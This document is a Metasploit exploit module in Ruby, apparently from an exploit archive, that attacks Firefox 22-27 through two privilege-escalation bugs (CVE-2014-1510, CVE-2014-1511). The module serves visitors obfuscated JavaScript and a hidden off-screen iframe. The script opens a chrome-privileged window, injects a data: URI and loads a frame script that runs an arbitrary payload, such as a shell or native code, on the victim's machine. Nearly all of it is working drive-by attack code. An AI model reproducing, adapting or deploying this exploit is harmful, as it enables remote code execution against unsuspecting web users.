Mozilla Firefox – WebIDL Privileged JavaScript Injection (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_maxver => "22.0", :ua_maxver => "27.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox WebIDL Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox's Javascript APIs. }, 'License' => MSF_LICENSE, 'Author' => [ 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # metasploit module ], 'DisclosureDate' => "Mar 17 2014", 'References' => [ ['CVE', '2014-1510'], # open chrome:// url in iframe ['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(22, 27) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+ "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+ "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>" js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; // Load the chrome-privileged browser XUL script into an iframe var c = new mozRTCPeerConnection; c.createOffer(function(){},function(){ window.open('chrome://browser/content/browser.xul', '#{frame}'); step1(); }); // Inject a data: URI into an internal frame inside of the browser // XUL script to pop open a new window with the chrome flag to prevent // the new window from being wrapped with browser XUL; function step1() { var clear = setInterval(function(){ // throws until frames[0].frames[2] is available (when chrome:// iframe loads) frames[0].frames[2].location; // we base64 this to avoid the script tag screwing up things when obfuscated frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}'); clearInterval(clear); setTimeout(step2, 100); },10); } // Step 2: load the chrome-level window up with a data URI, which // gives us same-origin. Make sure to load an "<iframe mozBrowser>" // into the frame, since that will respond to our messageManager // (this is important later) function step2() { var clear = setInterval(function(){ top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+ 'src="about:blank"></iframe></body></html>'; clearInterval(clear); setTimeout(step3, 100); }, 10); } function step3() { var clear = setInterval(function(){ if (!frames[0]) return; // will throw until the frame is accessible top.vvv.messageManager.loadFrameScript('data:,'+key, false); clearInterval(clear); setTimeout(function(){top.vvv.close();}, 100); }, 10); } |) js.obfuscate %Q| <!doctype html> <html> <body> <iframe id='#{frame}' name='#{frame}' style='position:absolute;left:-9999999px;height:1px;width:1px;'> </iframe> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end |